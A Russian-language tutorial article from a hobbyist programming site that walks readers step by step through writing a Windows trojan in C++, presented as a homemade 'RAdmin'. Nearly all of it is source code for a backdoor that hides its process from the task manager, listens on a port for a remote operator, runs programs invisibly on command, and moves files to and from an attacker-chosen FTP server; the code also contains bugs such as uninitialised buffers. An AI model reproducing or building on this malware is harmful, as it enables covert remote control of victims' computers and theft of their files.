Приветствую Вас ГостьСуббота, 18.05.2024, 21:00

Light Midnight Inc.


Каталог статей

Главная » Статьи » Программирование » С/С++/MFC

Свой RAdmin

Сегодня мы будем создавать троян, на С++. Для компиляции нам понадобится Visual C++ 6 или 5.
 Какие пимпы тыкать объяснять не буду, сам не маленький. 
Скажу только что надо создать Win32 Application, a simple Win32 Application.

Теперь подумаем, что этот трой должен делать? 
Для уменьшения размера оставим самые основные функции:
1. Скачивать файлы с FTP-сервера.
2. Закачивать файлы на FTP-сервер.
3. Запускать проги, двумя способами: скрытный и открытый.

Ну вот и всё, теперь приступим к кодингу.

Для начала в меню Build - Set Active Configuration - Win32 Release. Теперь тыкай в 
Project - Settings - Link. Там в поле Object /library module добавь вот это:
wininet.lib wsock32.lib. Не добавишь, компилироваться не будет! 

Так, самая лёгкая часть работы закончена. Теперь приступим непосредственно к кодингу.
В окне кода стери всё и напиши вот это:

#include "stdafx.h"
#include "stdio.h"
#include "winsock.h"
#include "wininet.h"

Заголовочные файлы мы подключили, теперь будем писать объявление переменных 
(следи за комментариями):

/* нужно чтобы стартануть winsock*/
WSADATA wsa;
/* собственно первый сокет*/
SOCKET s;
/* переменные, в которых будут храниться временные данные */
char* temp;
char* temp2;
char* temp3;
/* заголовки WinInet сеансов */
HINTERNET inet;
HINTERNET inet2;
/* буффер для хранения поступивших команд */
char buff[1];
/* переменная, по которой мы будем определять, соединены мы с FTP сервером или нет */
bool connected;
/* сокет, через который будет идти общение с клиентом*/
SOCKET s1;
/* эти структуры необходимы для работу нескольких системных вызовов WinSocket */
SOCKADDR_IN from;
SOCKADDR_IN sin;

С переменными пока всё. Теперь будем писать основу проги, так что добавь к коду вот это:

int APIENTRY WinMain(HINSTANCE hInstance,
 HINSTANCE hPrevInstance,
 LPSTR lpCmdLine,
 int nCmdShow)
{

}

Прежде чем будем писать остальное, надо бы подумать о защите от любопытных глаз или CTRL-ALT-DEL. 
Это делается функцией RegisterServiceProcess из библиотеки kernel32.dll. 
Эта функция зарегистрирует нашу прогу как безобидный скринсейвер. 
Добавь к коду это:

 /* поключаем библиотеку */
 HINSTANCE hLib = LoadLibrary("kernel32.dll"); 
 /* объявляем прототип функции */
 int (*RegisterServiceProcess)(DWORD dwProcessID, DWORD state);
 /* получаем адрес этой функции */
 (FARPROC &)RegisterServiceProcess = GetProcAddress(hLib, "RegisterServiceProcess");
 /* и делаем вызов этой функции */
 _asm{
 push 0
 push 1
 call RegisterServiceProcess
 }

Так, теперь приступим к остальному, а именно к работе с сокетами:

 /* стартуем Winsock 1.1 */
 WSAStartup(0x0101, &wsa);
 /* инициализируем сокет */
 s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 /* указываем семейство протоколов */
 sin.sin_family = AF_INET;
 /* порт для работы */
 sin.sin_port = htons(1025);
 /* указываем адрес сети */
 sin.sin_addr.s_addr = INADDR_ANY;
 /* определяем локальный канал для связи с сетью */
 bind( s, (LPSOCKADDR)&sin, sizeof(sin) );
 /* слушаем порт */
 listen( s, SOMAXCONN);
 /* определяем размер структуры с информацией о клиенте */
 int fromlen=sizeof(from);
 /* принимаем клиента но уже на другой сокет */
 s1 = accept(s,(struct sockaddr*)&from, &fromlen);
 /* открыть сеанс работы с Инетом */
 inet = InternetOpen("Yohoho FTP Trojan", INTERNET_OPEN_TYPE_DIRECT, "", "", 0); 

Ну чтож, соединение мы установили, сейчас будем команды принимать:

while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
 { 
 }

Для особо одарённых объясняю: пока клиент не отключится принимаем команды в переменную buff.
Ну а теперь собственно команды:

while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
 { 
 /* Команда на аплоад. */
 if(buff[0] == 'a'){
 /* получаем имя приложения */
 recv(s1, temp, 32, 0);
 if(connected){
 if(!FtpPutFile(inet2, temp,temp, 0,0)){
 send(s1, "Upload Failed", 13, 0);
 }else{
 send(s1, "Upload Completed", 16, 0);
 }
 }else{
 send(s1, "Hey! You are not connected to FTP server!", 41, 0);
 }
 /* Команда на скачивание */
 if(buff[0] == 'b'){
 /* получаем имя фала */
 recv(s1,temp, 32, 0);
 if(connected){
 if(!FtpGetFile(inet2, temp, temp,0,true, FTP_TRANSFER_TYPE_BINARY, 0))
 {
 send(s1, "Download Failed", 15, 0);
 }
 else{
 send(s1, "Download Completed", 18,0);
 }
 }else{
 send(s1, "Hey! You are not connected to FTP server!", 41, 0);
 }
 }
 /* Выполняем скрытно приложение (без показа окна программы) */ 
 if(buff[0] == 'c'){
 /* получаем имя приложения */
 recv(s1, temp, 255, 0);
 WinExec(temp, SW_HIDE);
 }
 /* Тоже самое, но уже с окном */
 if(buff[0] == 'd'){
 /* получаем имя приложения */
 recv(s1, temp, 255, 0);
 WinExec(temp, SW_SHOW);
 }
 if(buff[0] == 'e'){
 /* получаем урл сервера*/
 recv(s1, temp, 255,0);
 /* получаем логин */
 recv(s1, temp2, 32,0);
 /* получаем пассворд */
 recv(s1, temp3, 32,0);
 /* коннектимся */
 inet2 = InternetConnect(inet,temp,INTERNET_DEFAULT_FTP_PORT,
 temp2,temp3,INTERNET_SERVICE_FTP, 0,0);

 if(inet2){
 connected = true;
 }else{
 send(s1, "Connect Failed",14, 0);
 }
 }
 }

Вроде и всё.... СТОП! Вот конец проги:

 closesocket(s);
 closesocket(s1);
 return 0;

Теперь всё! Компилируй и запускай.... Если не получается - подумай, как сделать чтобы пахало!

Клиент можно самому написать, благо архитектура простая.

Категория: С/С++/MFC | Добавил: Cromartie (31.01.2013)
Просмотров: 540 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Наш опрос
Оцените мой сайт
Всего ответов: 542
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Cheсking
Часы
Мини-чат
200
Друзья Сайта
  • Light Midnight - Ваша Еда
  • Light Midnight - Anim as life style
  • Поиск